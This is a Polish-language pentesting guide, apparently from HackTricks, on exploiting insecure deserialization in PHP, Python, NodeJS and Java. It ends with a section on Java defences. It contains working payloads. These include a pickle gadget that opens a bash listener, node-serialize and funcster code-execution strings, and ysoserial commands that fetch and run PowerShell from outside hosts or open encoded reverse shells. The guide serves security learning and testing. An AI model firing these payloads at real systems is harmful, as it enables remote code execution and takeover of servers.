hacktricks/pentesting-web/deserialization
2024-04-18 04:06:23 +00:00
..
nodejs-proto-prototype-pollution Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:06:23 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Polish 2024-02-11 01:46:25 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Polish 2024-02-11 01:46:25 +00:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Polish 2024-02-11 01:46:25 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Polish 2024-02-11 01:46:25 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
php-deserialization-+-autoload-classes.md Translated to Polish 2024-02-11 01:46:25 +00:00
python-yaml-deserialization.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00

Deserializacja

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Serializacja to metoda polegająca na konwertowaniu obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go w ramach procesu komunikacji. Ta technika jest powszechnie stosowana, aby zapewnić, że obiekt można odtworzyć w późniejszym czasie, zachowując jego strukturę i stan.

Deserializacja, z kolei, to proces przeciwny do serializacji. Polega na pobraniu danych, które zostały sformatowane w określonym formacie i odtworzeniu ich z powrotem w postać obiektu.

Deserializacja może być niebezpieczna, ponieważ potencjalnie pozwala atakującym manipulować danymi zserializowanymi w celu wykonania szkodliwego kodu lub wywołania nieoczekiwanego zachowania w aplikacji podczas procesu odtwarzania obiektu.

PHP

W PHP podczas procesów serializacji i deserializacji wykorzystuje się konkretne magiczne metody:

  • __sleep: Wywoływana podczas serializacji obiektu. Ta metoda powinna zwrócić tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań czyszczenia.
  • __wakeup: Wywoływana podczas deserializacji obiektu. Służy do ponownego nawiązania połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań ponownej inicjalizacji.
  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.
  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj jest używana do zadań czyszczenia, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
  • __toString: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji wewnątrz niej, efektywnie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Jeśli spojrzysz na wyniki, zobaczysz, że funkcje __wakeup i __destruct są wywoływane podczas deserializacji obiektu. Zauważ, że w kilku samouczkach znajdziesz, że funkcja __toString jest wywoływana podczas próby wydrukowania pewnego atrybutu, ale wygląda na to, że to już się nie dzieje.

{% hint style="warning" %} Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup(), jeśli jest zaimplementowana w klasie. Pozwala ona na deserializację obiektu, dostarczając dane zserializowane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonywania wszelkich koniecznych zadań podczas deserializacji.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Możesz przeczytać wyjaśniony przykład PHP tutaj: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, tutaj https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf lub tutaj https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Deserializacja PHP + Klasy Autoload

Możesz nadużyć funkcjonalności automatycznego ładowania w PHP do ładowania dowolnych plików PHP i nie tylko:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializacja Wartości z Referencjami

Jeśli z jakiegoś powodu chcesz zserializować wartość jako referencję do innej zserializowanej wartości, możesz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial dla PHP)

PHPGGC może pomóc w generowaniu ładunków, aby nadużyć deserializacji w PHP.
Zauważ, że w wielu przypadkach nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz nadużyć kod zewnętrznych rozszerzeń PHP.
Więc, jeśli możesz, sprawdź phpinfo() serwera i szukaj w internecie (nawet w gadżetach PHPGGC) możliwych gadżetów, których możesz nadużyć.

Deserializacja metadanych phar://

Jeśli znalazłeś LFI, który tylko czyta plik i nie wykonuje w nim kodu PHP, na przykład za pomocą funkcji takich jak file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize(). Możesz spróbować nadużyć deserializacji, która występuje podczas odczytywania pliku za pomocą protokołu phar.
Aby uzyskać więcej informacji, przeczytaj następujący post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Gdy obiekt zostanie odwinięty, zostanie wykonana funkcja __reduce__.
W przypadku wykorzystania, serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Dla dalszych informacji na temat ucieczki z więzień pickle, sprawdź:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Następna strona prezentuje technikę wykorzystania niebezpiecznej deserializacji w bibliotekach pythona do yamls i kończy się narzędziem, które można użyć do generowania ładunku deserializacji RCE dla Pickle, PyYAML, jsonpickle i ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Zanieczyszczenie klasy (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Magiczne funkcje JS

JS nie ma "magicznych" funkcji jak PHP czy Python, które zostaną wykonane tylko w celu utworzenia obiektu. Ale ma pewne funkcje, które są często używane nawet bez bezpośredniego ich wywoływania, takie jak toString, valueOf, toJSON.
Wykorzystując deserializację, możesz naruszyć te funkcje, aby wykonać inny kod (potencjalnie wykorzystując zanieczyszczenia prototypów), co pozwoli ci wykonać dowolny kod podczas ich wywoływania.

Innym "magicznym" sposobem wywołania funkcji bez bezpośredniego jej wywoływania jest naruszenie obiektu zwracanego przez funkcję asynchroniczną (promise). Ponieważ, jeśli przekształcisz ten obiekt zwracany w inny promise z właściwością o nazwie "then" typu funkcja, zostanie on wykonany tylko dlatego, że jest zwracany przez inny promise. Zajrzyj pod ten link dla więcej informacji.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Zanieczyszczenie __proto__ i prototype

Jeśli chcesz dowiedzieć się więcej o tej technice, zapoznaj się z następującym samouczkiem:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Ta biblioteka pozwala na serializację funkcji. Przykład:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Obiekt zserializowany będzie wyglądał następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

W przykładzie widać, że gdy funkcja jest serializowana, do obiektu serializowanego dodawana jest flaga _$$ND_FUNC$$_.

Wewnątrz pliku node-serialize/lib/serialize.js można znaleźć tę samą flagę i sposób jej użycia.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, używane jest eval do deserializacji funkcji, więc w zasadzie wejście użytkownika jest używane wewnątrz funkcji eval.

Jednakże, tylko serializacja funkcji nie spowoduje jej wykonania, ponieważ konieczne byłoby, aby jakiś fragment kodu wywołał y.rce w naszym przykładzie, co jest mało prawdopodobne.
W każdym razie, można zmodyfikować serializowany obiekt dodając nawiasy w celu automatycznego wykonania zserializowanej funkcji podczas deserializacji obiektu.
W następnym fragmencie kodu zauważ ostatni nawias i sposób, w jaki funkcja unserialize automatycznie wykona kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Jak wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go za pomocą eval. Dlatego, aby automatycznie wykonać kod, można usunąć część tworzenia funkcji oraz ostatni nawias i po prostu wykonać jednoliniowy kod JS, jak w poniższym przykładzie:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Możesz znaleźć tutaj dalsze informacje na temat sposobu wykorzystania tej podatności.

funcster

Wartościowym aspektem funcstera jest niedostępność standardowych obiektów wbudowanych; wypadają one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu próbującego wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak "ReferenceError: console is not defined" przy użyciu poleceń takich jak console.log() lub require(something).

Mimo tego ograniczenia, przywrócenie pełnego dostępu do kontekstu globalnego, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe poprzez określone podejście. Korzystając bezpośrednio z kontekstu globalnego, można ominąć to ograniczenie. Na przykład dostęp można przywrócić za pomocą następującego fragmentu:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji przeczytaj ten źródło.

serialize-javascript

Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serializacji, nie posiada wbudowanych funkcji deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. Oficjalny przykład deserializacji danych zserializowanych sugeruje bezpośrednie użycie eval:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Jeśli ta funkcja jest używana do deserializacji obiektów, możesz to łatwo wykorzystać:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Aby uzyskać więcej informacji przeczytaj ten źródło.

Biblioteka Cryo

Na następnych stronach znajdziesz informacje na temat nadużywania tej biblioteki do wykonywania arbitralnych poleceń:

Java - HTTP

W Javie wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji. To wykonanie może być wykorzystane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.

Odciski palców

White Box

Aby zidentyfikować potencjalne podatności na serializację w kodzie, wyszukaj:

  • Klasy implementujące interfejs Serializable.
  • Użycie funkcji java.io.ObjectInputStream, readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami zdefiniowanymi przez użytkowników zewnętrznych.
  • Metoda fromXML z XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
  • ObjectInputStream w połączeniu z metodą readObject.
  • Implementacja metod takich jak readObject, readObjectNodData, readResolve lub readExternal.
  • ObjectInputStream.readUnshared.
  • Ogólne użycie Serializable.

Black Box

Podczas testowania black box, szukaj konkretnych sygnatur lub "Magicznych bajtów", które oznaczają obiekty zserializowane w Javie (pochodzące z ObjectInputStream):

  • Wzorzec szesnastkowy: AC ED 00 05.
  • Wzorzec Base64: rO0.
  • Nagłówki odpowiedzi HTTP z ustawionym Content-type na application/x-java-serialized-object.
  • Wzorzec szesnastkowy wskazujący na wcześniejszą kompresję: 1F 8B 08 00.
  • Wzorzec Base64 wskazujący na wcześniejszą kompresję: H4sIA.
  • Pliki internetowe z rozszerzeniem .faces i parametrem faces.ViewState. Odkrycie tych wzorców w aplikacji internetowej powinno skłonić do dokładnego zbadania, jak opisano w poście dotyczącym Deserializacji Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa atak deserializacji w Javie, powinieneś zajrzeć do Podstawowa deserializacja w Javie, Deserializacja DNS w Javie i Ładunek CommonsCollection1.

Test White Box

Możesz sprawdzić, czy zainstalowano jakąkolwiek aplikację znaną z podatności.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki, które są znane z podatności i dla których Ysoserial może dostarczyć exploit. Możesz także sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz również użyć gadgetinspector, aby wyszukać potencjalne łańcuchy gadżetów, które mogą być wykorzystane.
Podczas uruchamiania gadgetinspector (po zbudowaniu go) nie przejmuj się ilością ostrzeżeń/błędów, przez które przechodzi, pozwól mu zakończyć. Wszystkie znalezione informacje zostaną zapisane w gadgetinspector/gadget-results/gadget-chains-year-month-day-godzina-min.txt. Zauważ, że gadgetinspector nie tworzy exploitów i może wskazywać fałszywe pozytywy.

Test Black Box

Korzystając z rozszerzenia Burp gadgetprobe, możesz zidentyfikować jakie biblioteki są dostępne (nawet wersje). Dzięki tym informacjom może być łatwiej wybrać payload do wykorzystania podatności.
Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe.
GadgetProbe skupia się na deserializacjach ObjectInputStream.

Korzystając z rozszerzenia Burp Java Deserialization Scanner, możesz zidentyfikować podatne biblioteki podatne na exploitację za pomocą ysoserial i je wykorzystać.
Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.
Java Deserialization Scanner skupia się na deserializacjach ObjectInputStream.

Możesz także użyć Freddy, aby wykryć podatności na deserializacje w Burp. To wtyczka wykryje podatności związane nie tylko z ObjectInputStream, ale także podatności z bibliotek deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić, używając payloadów sleep lub DNS.
Więcej informacji o Freddy znajdziesz tutaj.

Test Serializacji

Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz zmienić dane wewnątrz zserializowanego obiektu i ominąć pewne kontrole (może to dać ci uprawnienia administratora w aplikacji internetowej).
Jeśli znajdziesz zserializowany obiekt Javy wysyłany do aplikacji internetowej, możesz użyć SerializationDumper, aby wydrukować w bardziej czytelnej formie zserializowany obiekt, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i ominąć pewne kontrole.

Exploit

ysoserial

Głównym narzędziem do wykorzystywania deserializacji Javy jest ysoserial (pobierz tutaj). Możesz także rozważyć użycie ysoseral-modified, co pozwoli ci używać złożonych poleceń (np. z potokami).
Zauważ, że to narzędzie jest skoncentrowane na wykorzystywaniu ObjectInputStream.
Zalecam rozpoczęcie od payloadu "URLDNS" przed payloadem RCE, aby sprawdzić, czy wstrzyknięcie jest możliwe. Zauważ jednak, że może się zdarzyć, że payload "URLDNS" nie działa, ale inny payload RCE tak.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Podczas tworzenia ładunku dla java.lang.Runtime.exec() nie można używać znaków specjalnych takich jak ">" lub "|" do przekierowania wyniku wykonania, "$()" do wykonywania poleceń ani nawet przekazywać argumentów do polecenia oddzielonych spacjami (możesz użyć echo -n "hello world", ale nie możesz użyć python2 -c 'print "Hello world"'). Aby poprawnie zakodować ładunek, możesz skorzystać z tej strony internetowej.

Możesz swobodnie użyć poniższego skryptu do stworzenia wszystkich możliwych ładunków wykonania kodu dla systemów Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection razem z ysoserial, aby tworzyć więcej exploitów. Więcej informacji o tym narzędziu znajdziesz w slajdach prezentacji, w której narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec można użyć do generowania ładunków w celu wykorzystania różnych bibliotek serializacji Json i Yml w Javie.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, a następnie skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Dowiedz się więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java używa dużo serializacji do różnych celów, takich jak:

  • Żądania HTTP: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, stanem widoku, ciasteczkami, itp.
  • RMI (Remote Method Invocation): Protokół Java RMI, który w całości polega na serializacji, jest podstawą komunikacji zdalnej w aplikacjach Java.
  • RMI przez HTTP: Ta metoda jest powszechnie używana przez aplikacje internetowe oparte na grubej warstwie klienckiej w Javie, wykorzystując serializację do komunikacji obiektów.
  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
  • Niestandardowe protokoły: W Javie standardową praktyką jest przesyłanie surowych obiektów Javy, co zostanie zademonstrowane w nadchodzących przykładach eksploatacji.

Zapobieganie

Obiekty przejściowe

Klasa implementująca Serializable może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować interfejs Serializable

W przypadkach, gdy pewne obiekty muszą implementować interfejs Serializable ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie mogą być deserializowane, definiując metodę final readObject(), która zawsze zgłasza wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Poprawa bezpieczeństwa deserializacji w Javie

Dostosowywanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczania procesów deserializacji. Ta metoda jest odpowiednia, gdy:

  • Kod deserializacji jest pod kontrolą.
  • Klasy oczekiwane do deserializacji są znane.

Zastąp metodę resolveClass() aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji dowolnej klasy oprócz tych, które są wyraźnie zezwolone, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korzystanie z agenta Java do zwiększenia bezpieczeństwa oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie czarnolistowania szkodliwych klas, korzystając z parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny do środowisk, w których natychmiastowe zmiany w kodzie są niemożliwe.

Sprawdź przykład w rO0 by Contrast Security

Wdrażanie filtrów serializacji: Java 9 wprowadziła filtry serializacji za pośrednictwem interfejsu ObjectInputFilter, zapewniając potężny mechanizm określania kryteriów, które muszą spełniać obiekty zserializowane przed ich deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując precyzyjną kontrolę nad procesem deserializacji.

Aby skorzystać z filtrów serializacji, można ustawić globalny filtr, który będzie stosowany do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontroli i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy zabezpieczeń, takie jak tworzenie listy dozwolonych lub zabronionych klas, analizowanie obiektów zserializowanych przed deserializacją oraz implementowanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji w celu zapobiegania wykonaniu niezaufanego kodu.
  • jdeserialize umożliwia analizę obiektów zserializowanych w Javie bez ich deserializacji, pomagając zidentyfikować potencjalnie złośliwe treści.
  • Kryo to alternatywny framework serializacji, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Referencje

Wstrzykiwanie JNDI i log4Shell

Dowiedz się, co to jest Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI, CORBA & LDAP oraz jak wykorzystać log4shell (oraz przykład tej podatności) na następnej stronie:

